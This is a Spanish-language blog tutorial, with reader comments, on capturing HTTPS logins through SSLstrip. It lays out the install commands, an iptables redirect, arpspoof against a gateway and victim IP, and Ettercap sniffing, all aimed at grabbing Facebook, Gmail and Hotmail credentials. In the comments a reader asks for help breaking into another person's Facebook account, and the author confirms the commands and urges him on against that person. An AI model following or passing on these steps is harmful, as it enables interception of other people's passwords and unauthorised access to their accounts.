Bueno en el siguiente tutorial, veremos como penetrar el protocolo SSL (https), primero que todo que es SSL?
- El protocolo SSL es un sistema de seguridad desarrollado etscape y utilizado actualmente por la mayoría de empresas que comercian a través de Internet. Es un sistema de seguridad ideado para acceder a un servidor garantizando la confidencialidad de los datos mediante técnicas de encarnación modernas.
Sabiendo el significado de este protocolo, pasaremos a la tool que nos permitira violar esta "seguridad".
La herramienta que utilizaremos para la penetracion tiene por nombre "SSLstrip"
Extraemos el archivo : tar zxvf sslstrip-0.9.tar.gz
cd sslstrip-0.9
sudo python ./setup.py install
Luego de esto abriremos otra consola : cd /Desktop/sslstrip-0.9 y pondremos lo siguiente:
- iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 1000
- python sslstrip.py -p -l 1000
Con esto tendremos andando el sslstrip :D
(no cerramos la terminal solo minimizar)
Vamos a : cd /Desktop/sslstrip-0.9
tail -f sslstrip.log
Dejamos abierta esta consola tambien...
Luego de esto abriremos una consola y pondremos " ifconfig "
En una nueva terminal pondremos :
- arpspoof -i eth0 -t 192.168.137.1 192.168.137.107
Si todo sale bien, empezaremos a correr nuestro Sniffer en este caso Ettercap
Luego de esto solo queda esperar a que se logee por ejemplo facebook, gmail, hotmail o paginas que utlizen el htttps y buala :D
Hola, he ocupado una ves backtrack y fue para sacar un pass del internet de mi vecino, a la cemana pague el mio y todo bien, encontre tu blog por suerte en busca de ha.c-k´´ear una cuenta de face book, piblicaron una foto mia donde voy a tener problemas si se entera mi esposa, mi devilidad son las mujeres, y nececito quitar esa foto de esa cuenta, esto me puede serbir?.
ResponderEliminarPosdata. En una nueva terminal pondremos :
- arpspoof -i (interface: "eth0 - wlan -t
- arpspoof -i eth0 -t 192.168.137.1 192.168.137.107
en donde dice victima ahi pongo www.facebook.com o el nick de la cuenta de la persona que puso mi foto?.
Grasias de anterrespuesta
corrijo mi pregunta
EliminarEn una nueva terminal pondremos :
- arpspoof -i (interface: "eth0 - wlan -t
- arpspoof -i eth0 -t 192.168.137.1 192.168.137.107
Asi es, arpspoof -i eth0 -t 192.168.137.1 192.168.137.107
Eliminarrecuerda poner correctamente tu interfaz(etho, wlan0, etc),
a la vez te paso a dejar un video para que lo entiendas mejor,
no es creado por mi, pero espero te sirva:
http://www.youtube.com/watch?v=_rNlOmbhlQU (aunque no concuerdo con el titulo de ese video ^^)
ojala se solucione tu problema, y a la vez intenta otras formas para joderte a ese tio
Saludos !